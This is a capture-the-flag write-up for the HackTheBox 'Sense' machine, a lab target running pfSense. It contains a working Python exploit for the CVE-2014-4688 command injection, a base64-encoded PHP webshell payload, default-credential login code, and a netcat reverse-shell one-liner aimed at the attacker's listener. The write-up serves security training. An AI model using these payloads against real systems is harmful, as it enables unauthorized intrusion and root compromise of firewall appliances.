HTB: Sense Writeup
Sense - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Sense |
| OS | OpenBSD (pfSense) |
| Difficulty | Easy |
| Points | 20 |
| Release Date | 21 Oct 2017 |
| IP Address | 10.10.10.60 |
| Author | lkys37en |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐☆☆☆☆
Summary
Sense is an Easy-rated OpenBSD machine running pfSense, a popular open-source firewall distribution. The box demonstrates the dangers of exposed configuration files and default credentials combined with a known command injection vulnerability. While enumeration requires thorough directory busting to locate credential hints, the exploitation path is straightforward once credentials are obtained. The unique aspect of this machine is that the initial foothold grants immediate root access, as the vulnerable web application runs with elevated privileges—a common characteristic of firewall appliances.
TL;DR: Directory enumeration → Credential leak in system-users.txt → pfSense login with rohit:pfsense → Command injection (CVE-2014-4688 / EDB 39709) in status_rrd_graph_img.php → Root shell
Reconnaissance
Port Scanning
# Full TCP port scannmap -sC -sV -T4 -p- 10.10.10.60Results:
PORT STATE SERVICE VERSION80/tcp open http lighttpd 1.4.35|_http-title: Did not follow redirect to https://10.10.10.60/443/tcp open ssl/https?|_ssl-date: TLS randomness does not represent time| ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=USOnly two ports are open: HTTP (80) and HTTPS (443), both serving a lighttpd 1.4.35 web server. Port 80 redirects to HTTPS.
Service Enumeration
Web Application Analysis
Browsing to https://10.10.10.60/ presents a pfSense login page. pfSense is an open-source firewall/router distribution based on FreeBSD (though this box runs OpenBSD). The login page requires credentials with no obvious bypass.
# Directory enumeration with common wordlistsgobuster dir -u https://10.10.10.60/ -w /usr/share/wordlists/dirb/common.txt -kKey findings from directory enumeration:
/changelog.txt- Contains notes about patching 2 of 3 vulnerabilities/system-users.txt- Critical file containing credential information
# Fetch the credential leak filecurl -k https://10.10.10.60/system-users.txtOutput:
####Support ticket###
Please create the following user
username: Rohitpassword: company defaultsThe phrase “company defaults” is a critical hint. The default password for pfSense is pfsense, making the credentials rohit:pfsense.
Vulnerability Assessment
| Vulnerability | Description | Severity |
|---|---|---|
| Information Disclosure | Exposed system-users.txt reveals username and password hint | High |
| Default Credentials | pfSense default password still in use | High |
| Command Injection | pfSense RRD graph generation vulnerable to command injection (CVE-2014-4688) | Critical |
Initial Foothold
Authentication Bypass via Default Credentials
pfSense’s authentication mechanism requires careful handling due to CSRF protection. A successful login requires:
- Extracting the CSRF token from the login page
- Including the token in the POST request
- Setting a proper
Refererheader
#!/usr/bin/env python3import requestsimport refrom urllib.parse import urlencode
# Disable SSL warningsrequests.packages.urllib3.disable_warnings()
target = "https://10.10.10.60"session = requests.Session()
# Step 1: Get CSRF token from login pagelogin_page = session.get(f"{target}/index.php", verify=False)csrf_match = re.search(r'csrfMagicToken\s*=\s*"([^"]+)"', login_page.text)csrf_token = csrf_match.group(1) if csrf_match else ""
# Step 2: Authenticatelogin_data = { '__csrf_magic': csrf_token, 'usernamefld': 'rohit', 'passwordfld': 'pfsense', 'login': 'Login'}
response = session.post( f"{target}/index.php", data=login_data, headers={'Referer': f"{target}/index.php"}, verify=False)
print("[+] Authenticated as rohit")Why this works: pfSense uses a CSRF token (csrfMagicToken) that must be extracted from the page and submitted with credentials. The Referer header is validated to prevent certain types of CSRF attacks.
Exploiting Command Injection (CVE-2014-4688)
Once authenticated, pfSense versions prior to 2.1.4 contain a command injection vulnerability in the RRD graph generation functionality. The vulnerable endpoint is /status_rrd_graph_img.php, which accepts a database parameter that is improperly sanitized before being passed to shell commands.
Exploit-DB Reference: EDB 39709
The vulnerability exists because user input in the database parameter is concatenated into shell commands without proper escaping. We can inject arbitrary commands using semicolons as command separators.
Payload Construction
Rather than using the unreliable octal encoding from the public exploit, we can use Base64 encoding to bypass filtering:
# Create PHP webshell payloadecho '<?php eval(base64_decode('\''ZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsg'\'')); ?>' > shell.php
# The base64 string decodes to:# echo system($_GET['cmd']);The injection payload navigates to the web root (/usr/local/www/) and drops a PHP webshell:
# Command injection payload (decoded for readability)database=queues;cd ..;cd ..;cd ..;cd usr;cd local;cd www;echo "<?php eval(base64_decode('ZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsg')); ?>" > writeup.phpCritical detail: Parentheses and ampersands MUST be URL-encoded for the payload to work. Many tools skip these characters, causing the exploit to fail.
# Full exploitation scriptimport requestsimport urllib.parse
# URL-encode the payload properlypayload = 'queues;cd ..;cd ..;cd ..;cd usr;cd local;cd www;echo "<?php eval(base64_decode(\'ZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsg\')); ?>" > writeup.php'
# Manual encoding of special charactersencoded_payload = urllib.parse.quote(payload, safe='')
# Send injection via authenticated sessioninjection_url = f"{target}/status_rrd_graph_img.php?database={encoded_payload}"response = session.get( injection_url, headers={'Referer': f"{target}/status.php"}, verify=False)
print("[+] Webshell dropped at /writeup.php")Verifying Code Execution
# Test command executioncurl -k "https://10.10.10.60/writeup.php?cmd=id"Output:
uid=0(root) gid=0(wheel) groups=0(wheel)Key observation: The web server runs as root on pfSense appliances, meaning we have immediate root access without privilege escalation.
Obtaining a Shell
# Get interactive shell via webshellcurl -k "https://10.10.10.60/writeup.php?cmd=whoami" # Returns: root
# Retrieve user flagcurl -k "https://10.10.10.60/writeup.php?cmd=cat%20/home/rohit/user.txt"
# Retrieve root flagcurl -k "https://10.10.10.60/writeup.php?cmd=cat%20/root/root.txt"Alternatively, establish a reverse shell:
# On attacking machinenc -lvnp 4444
# Through webshell (URL-encoded)curl -k "https://10.10.10.60/writeup.php?cmd=rm%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/sh%20-i%202>%261|nc%2010.10.14.5%204444%20>/tmp/f"Privilege Escalation
No privilege escalation required. The command injection vulnerability in pfSense executes code in the context of the web server process, which runs as root (uid=0). This is by design in firewall appliances, where the web interface needs elevated privileges to modify system networking configurations, firewall rules, and services.
# Verify root accessid# uid=0(root) gid=0(wheel) groups=0(wheel)
ls -la /root# drwxr-xr-x 2 root wheel 512 Oct 20 2017 .# -r-------- 1 root wheel 33 Oct 20 2017 root.txtAttack Chain Summary
Port Scan (lighttpd 1.4.35) → Directory Enumeration → Credential Leak (/system-users.txt) →pfSense Login (rohit:pfsense) → Command Injection in status_rrd_graph_img.php (CVE-2014-4688) →PHP Webshell Upload → Root Shell (uid=0)Tools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
gobuster / dirbuster | Directory and file enumeration |
curl | Manual HTTP requests and webshell interaction |
python3 | Custom exploitation script development |
nc | Reverse shell listener |
Key Learnings
Techniques Practiced
- Directory enumeration to discover exposed configuration files
- Default credential research for specific applications (pfSense default:
pfsense) - CSRF token handling in authenticated web application exploitation
- Command injection exploitation with proper URL encoding
- Base64 encoding to bypass character filtering in payloads
- Modifying public exploits when proof-of-concepts are unreliable
Lessons Learned
-
Always enumerate thoroughly - Critical files like
system-users.txtandchangelog.txtare easily missed without comprehensive directory busting. -
Default credentials remain a critical vulnerability - Many administrators fail to change default passwords, especially on internal or “trusted” network appliances.
-
URL encoding matters - The public exploit for this vulnerability fails without proper encoding of parentheses, ampersands, and other special characters. Understanding the underlying vulnerability allows for more reliable exploitation.
-
Web applications on security appliances often run as root - Firewall and router web interfaces frequently require elevated privileges to function, meaning command injection immediately grants full system access.
-
Base64 encoding is more reliable than octal - When bypassing filters, Base64 provides a cleaner, more portable method of encoding payloads compared to octal or hex encoding.
-
Information disclosure in text files - Developers often leave notes, credentials, or sensitive information in plaintext files that are accidentally web-accessible.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- Public HackTheBox writeup by Alexander Reid (Arrexel) - Document No D17.100.30, 22 October 2017
- CVE-2014-4688: pfSense Command Injection Vulnerability
- Exploit-DB 39709: pfSense < 2.1.4 - ‘status_rrd_graph_img.php’ Command Injection